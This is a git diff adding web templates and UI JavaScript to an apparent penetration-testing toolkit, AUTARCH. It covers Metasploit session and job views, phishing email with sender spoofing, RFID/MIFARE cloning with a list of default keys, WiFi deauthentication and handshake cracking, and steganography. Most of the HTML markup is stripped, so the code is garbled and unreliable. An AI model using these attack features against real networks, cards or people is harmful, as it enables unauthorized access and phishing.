    IDTypeTargetInfo
    ' + escapeHtml(sid) + '' + escapeHtml(s.type || '') + '' + escapeHtml(s.tunnel_peer || s.target_host || '') + '' + escapeHtml(s.info || '') + '
    ';
+        el.innerHTML = html;
+    }).catch(() => { el.innerHTML = '
    Failed to load sessions.
    '; });
+}
+
+function loadMSFJobs() {
+    const el = document.getElementById('msf-jobs');
+    fetch('/offense/jobs').then(r => r.json()).then(d => {
+        if (d.error) { el.innerHTML = '
    ' + escapeHtml(d.error) + '
    '; return; }
+        const jobs = d.jobs || {};
+        const keys = Object.keys(jobs);
+        if (!keys.length) { el.innerHTML = '
    No running jobs.
    '; return; }
+        let html = '';
+        keys.forEach(jid => {
+            html += '';
+        });
+        html += '
    IDName
    ' + escapeHtml(jid) + '' + escapeHtml(String(jobs[jid])) + '
    ';
+        el.innerHTML = html;
+    }).catch(() => { el.innerHTML = '
    Failed to load jobs.
    '; });
+}
+
+function stopMSFJob(jobId) {
+    fetch('/offense/jobs/' + jobId + '/stop', {method:'POST'}).then(() => loadMSFJobs());
+}
+
+/* ── Agent Hal ──────────────────────────────────────────────────── */
 async function runHalTask() {
     const task = v('agent-task');
     if (!task) return;
diff --git a/web/templates/password_toolkit.html b/web/templates/password_toolkit.html
new file mode 100644
index 0000000..9a5704e
--- /dev/null
+++ b/web/templates/password_toolkit.html
@@ -0,0 +1,385 @@
+{% extends "base.html" %}
+{% block title %}Password Toolkit — AUTARCH{% endblock %}
+{% block content %}
+
    
+    
    Password Toolkit
    
+    
    Hash identification, cracking, generation, and credential testing
    
+
    
+
+
    
+    
+    
+    
+    
+    
+
    
+
+
+
    
+    
    
+        
    Hash Identification
    
+        
    
+            
+            
+        
    
+        
+        
    
+    
    
+    
    
+        
    Hash a String
    
+        
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
+            
    
+            
+        
    
+        
    
+    
    
+
    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/phishmail.html b/web/templates/phishmail.html
new file mode 100644
index 0000000..7c95aae
--- /dev/null
+++ b/web/templates/phishmail.html
@@ -0,0 +1,1091 @@
+{% extends "base.html" %}
+{% block title %}Gone Fishing — AUTARCH{% endblock %}
+{% block content %}
+
    Gone Fishing Mail Service
    
+
    
+    Demo Version — This is a demo of the mail module. A full version is available by request and verification of the user's intent.
+
    
+
    
+    Local network phishing simulator — sender spoofing, campaigns, tracking, certificate generation.
+    Local network only.
+
    
+
+
+
    
+    
+    
+    
+    
+    
+    
+    
+    
+
    
+
+
+
    
+    
    
+        
    Compose Email
    
+        
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
+                
+            
    
+            
    
+                
+                
+            
    
+        
    
+
+        
+        
    
+            
+            
+        
    
+
+        
+        
    
+            
    
+                
+                
+            
    
+            
    
+                
+                
    
+            
    
+        
    
+        
    
+            
+            
+        
    
+
+        
+        
    
+            SMTP Settings
+            
    
+                
    
+                    
+                    
+                
    
+                
    
+                    
+                    
+                
    
+                
    
+                    
+                    
+                
    
+                
    
+                    
+                    
+                
    
+                
    
+                    
+                    
+                
    
+                
    
+                    
+                    
+                
    
+            
    
+        
    
+
+        
    
+            
+            
+            
+        
    
+    
    
+
    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/report_engine.html b/web/templates/report_engine.html
new file mode 100644
index 0000000..d95115a
--- /dev/null
+++ b/web/templates/report_engine.html
@@ -0,0 +1,246 @@
+{% extends "base.html" %}
+{% block title %}Reports — AUTARCH{% endblock %}
+{% block content %}
+
    
+    
    Reporting Engine
    
+    
    Pentest report builder with findings, CVSS scoring, and export
    
+
    
+
+
    
+    
+    
+    
+
    
+
+
+
    
+    
    
+        
    Reports
    
+        
+    
    
+    
+    
    
+
    
+
+
+
+
+
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/rfid_tools.html b/web/templates/rfid_tools.html
new file mode 100644
index 0000000..980800e
--- /dev/null
+++ b/web/templates/rfid_tools.html
@@ -0,0 +1,286 @@
+{% extends "base.html" %}
+{% block title %}AUTARCH — RFID/NFC Tools{% endblock %}
+
+{% block content %}
+
    
+    
    RFID/NFC Tools
    
+    
    
+        Proxmark3 interface for RFID/NFC scanning, cloning, and card management.
+    
    
+
    
+
+
+
    
+    
+    
+    
+
    
+
+
+
    
+
+
    
+    
    Tools Status
    
+    
    
+        
    
+            
    Proxmark3
    
+            
    
+                
+                Checking...
+            
    
+        
    
+        
    
+            
    libnfc
    
+            
    
+                
+                Checking...
+            
    
+        
    
+    
    
+
    
+
+
    
+    
    Scan for Cards
    
+    
    
+        
+        
+        
+    
    
+    
    
+
    
+
+
    
+    
    Last Read Card
    
+    
+        
+            
+            
+            
+            
+        
+    
    Type--
    ID / UID--
    Frequency--
    Technology--
    
+
    
+
+
    
+
+
+
    
+
+
    
+    
    EM410x Clone
    
+    
    
+        Clone an EM410x LF card by writing a known card ID to a T55x7 blank.
+    
    
+    
    
+        
+        
+    
    
+    
    
+
    
+
+
    
+    
    MIFARE Classic
    
+    
    
+        
+    
    
+    
    
+
+    
    Clone from Dump
    
+    
    
+        
+        
+    
    
+    
    
+
+    
    Default Keys
    
+    
    
+        FFFFFFFFFFFF (factory default)
    
+        A0A1A2A3A4A5 (MAD key)
    
+        D3F7D3F7D3F7 (NFC NDEF)
    
+        000000000000 (null key)
    
+        B0B1B2B3B4B5 (common transport)
    
+        4D3A99C351DD (Mifare Application Directory)
+    
    
+
    
+
+
    
+
+
+
    
+
+
    
+    
    Saved Cards
    
+    
+        
+        
+            
+        
+    
    NameTypeID / UIDSavedAction
    No saved cards yet. Scan and save cards from the Scan tab.
    
+
    
+
+
    
+    
    Card Dumps
    
+    
    
+        
+    
    
+    
+        
+        
+            
+        
+    
    FilenameSizeDateAction
    No dumps found.
    
+
    
+
+
    
+
+
+{% endblock %}
diff --git a/web/templates/steganography.html b/web/templates/steganography.html
new file mode 100644
index 0000000..e500232
--- /dev/null
+++ b/web/templates/steganography.html
@@ -0,0 +1,431 @@
+{% extends "base.html" %}
+{% block title %}AUTARCH — Steganography{% endblock %}
+
+{% block content %}
+
    
+    
    Steganography
    
+    
    
+        Hide data in files, extract hidden messages, and detect steganographic content.
+    
    
+
    
+
+
+
    
+    
+    
+    
+
    
+
+
+
    
+
+
    
+    
    Hide Message in File
    
+    
    
+        Embed a hidden message into an image, audio, or video carrier file using LSB steganography.
+    
    
+    
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+    
    
+    
    
+        
+        
+    
    
+    
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+    
    
+    
    
+        
+        
+    
    
+    
    
+
    
+
+
    
+    
    Whitespace Steganography
    
+    
    
+        Hide messages using invisible whitespace characters (tabs, spaces, zero-width chars) within text.
+    
    
+    
    
+        
+        
+    
    
+    
    
+        
+        
+    
    
+    
    
+        
+        
+        
+    
    
+    
    
+        
+        
+    
    
+
    
+
+
    
+
+
+
    
+
+
    
+    
    Extract Hidden Data
    
+    
    
+        Extract embedded messages from steganographic files.
+    
    
+    
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+    
    
+    
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+    
    
+    
    
+        
+    
    
+    
    
+        
+        
    
+            
    No extraction performed yet.
    
+        
    
+    
    
+
    
+
+
    
+
+
+
    
+
+
    
+    
    Steganalysis
    
+    
    
+        Analyze a file for signs of steganographic content using statistical methods.
+    
    
+    
    
+        
    
+            
+            
+        
    
+    
    
+    
    
+        
+    
    
+
    
+
+
+
+
    
+    
    Batch Scan
    
+    
    
+        Scan a directory of files for steganographic content.
+    
    
+    
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+    
    
+    
    
+        
+    
    
+    
    
+
    
+
+
    
+
+
+{% endblock %}
diff --git a/web/templates/threat_intel.html b/web/templates/threat_intel.html
new file mode 100644
index 0000000..882c2a1
--- /dev/null
+++ b/web/templates/threat_intel.html
@@ -0,0 +1,606 @@
+{% extends "base.html" %}
+{% block title %}AUTARCH — Threat Intelligence{% endblock %}
+
+{% block content %}
+
    
+    
    Threat Intelligence
    
+    
    
+        IOC management, threat feeds, and correlation analysis.
+    
    
+
    
+
+
+
    
+    
+    
+    
+
    
+
+
+
    
+
+
    
+    
    Add Indicator of Compromise
    
+    
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+    
    
+    
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+    
    
+    
    
+        
+    
    
+
    
+
+
    
+    
    IOC Database
    
+    
    
+        
+        
+        
+    
    
+    
    
+        
+            
+                
+                    
+                    
+                
+            
+            
+                
+            
+        
    ValueTypeSeverityTagsAddedActions
    No IOCs loaded. Add one above or import.
    
+    
    
+    
    
+        Showing 0 indicators
+    
    
+
    
+
+
    
+    
    Bulk Import / Export
    
+    
    
+        
+        
+    
    
+    
    
+        
+        
+        
+        
+    
    
+    
    
+
    
+
+
    
+
+
+
    
+
+
    
+    
    Add Threat Feed
    
+    
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+    
    
+    
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+    
    
+    
    
+        
+    
    
+
    
+
+
    
+    
    Configured Feeds
    
+    
    
+        
+        
+    
    
+    
+        
+            
+                
+                
+            
+        
+        
+            
+        
+    
    NameTypeURLIOCsLast FetchedActions
    No feeds configured.
    
+
    
+
+
    
+    
    Feed Statistics
    
+    
    
+        
    
+            
    Total Feeds
    
+            
    0
    
+        
    
+        
    
+            
    Total IOCs from Feeds
    
+            
    0
    
+        
    
+        
    
+            
    Last Updated
    
+            
    --
    
+        
    
+    
    
+
    
+
+
    
+
+
+
    
+
+
    
+    
    Reputation Lookup
    
+    
    
+        Check IP/domain/hash reputation against VirusTotal, AbuseIPDB, and local IOC database.
+    
    
+    
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+    
    
+    
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+    
    
+    
    
+        
+    
    
+    
    
+
    
+
+
    
+    
    Blocklist Generator
    
+    
    
+        Generate blocklists from your IOC database for firewalls and security tools.
+    
    
+    
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+    
    
+    
    
+        
+        
+        
+    
    
+    
    
+
    
+
+
    
+    
    Alerts
    
+    
    
+        
+        
+    
    
+    
    
+        
    No alerts. Alerts appear when IOCs match network traffic or log data.
    
+    
    
+
    
+
+
    
+
+
+{% endblock %}
diff --git a/web/templates/webapp_scanner.html b/web/templates/webapp_scanner.html
new file mode 100644
index 0000000..d3a6df4
--- /dev/null
+++ b/web/templates/webapp_scanner.html
@@ -0,0 +1,241 @@
+{% extends "base.html" %}
+{% block title %}Web Scanner — AUTARCH{% endblock %}
+{% block content %}
+
    
+    
    Web Application Scanner
    
+    
    Directory brute, subdomain enum, vuln scanning, header analysis
    
+
    
+
+
    
+    
+    
+    
+    
+    
+
    
+
+
+
    
+    
    
+        
    Quick Scan
    
+        
    
+            
    
+                
+            
    
+            
+        
    
+        
    
+    
    
+
    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/wifi_audit.html b/web/templates/wifi_audit.html
new file mode 100644
index 0000000..1e1bb17
--- /dev/null
+++ b/web/templates/wifi_audit.html
@@ -0,0 +1,453 @@
+{% extends "base.html" %}
+{% block title %}AUTARCH — WiFi Audit{% endblock %}
+
+{% block content %}
+
    
+    
    WiFi Auditing
    
+    
    
+        Wireless network scanning, attack tools, and monitoring.
+    
    
+
    
+
+
+
    
+    
+    
+    
+
    
+
+
+
    
+
+
    
+    
    Wireless Interfaces
    
+    
    
+        
+        
+        
+    
    
+    
+        
+        
+            
+        
+    
    InterfaceModeDriverChipsetStatus
    Click Refresh to list wireless interfaces.
    
+    
    
+        
+        
+    
    
+
    
+
+
    
+    
    Network Scan
    
+    
    
+        
+        
+    
    
+    
+        
+            
+                
+                
+            
+        
+        
+            
+        
+    
    BSSIDSSIDChannelEncryptionSignalClients
    No scan results yet.
    
+
    
+
+
    
+
+
+
    
+
+
    
+    
    Deauthentication Attack
    
+    
    
+        Send deauthentication frames to disconnect clients from an access point.
+    
    
+    
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+    
    
+    
    
+        
+    
    
+    
    
+
    
+
+
    
+    
    Handshake Capture
    
+    
    
+        Capture WPA/WPA2 four-way handshake from a target network.
+    
    
+    
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+    
    
+    
    
+        
+        
+    
    
+    
    
+
    
+
+
    
+    
    WPS Attack
    
+    
    
+        
+    
    
+    
+        
+        
+            
+        
+    
    BSSIDSSIDWPS VersionLockedAction
    Click Scan to find WPS-enabled networks.
    
+    
    
+
    
+
+
    
+    
    Crack Handshake
    
+    
    
+        
    
+            
+            
+        
    
+        
    
+            
+            
+        
    
+    
    
+    
    
+        
+    
    
+    
    
+
    
+
+
    
+
+
+
    
+
+
    
+    
    Rogue AP Detection
    
+    
    
+        Save a baseline of known APs, then detect rogue or evil-twin access points.
+    
    
+    
    
+        
+        
+    
    
+    
    
+
    
+
+
    
+    
    Packet Capture
    
+    
    
+        
+        
+        
+    
    
+    
    
+
    
+
+
    
+    
    Saved Captures
    
+    
    
+        
+    
    
+    
+        
+        
+            
+        
+    
    FilenameSizeDateActions
    Click Refresh to list saved capture files.
    
+
    
+
+
    
+
+
+{% endblock %}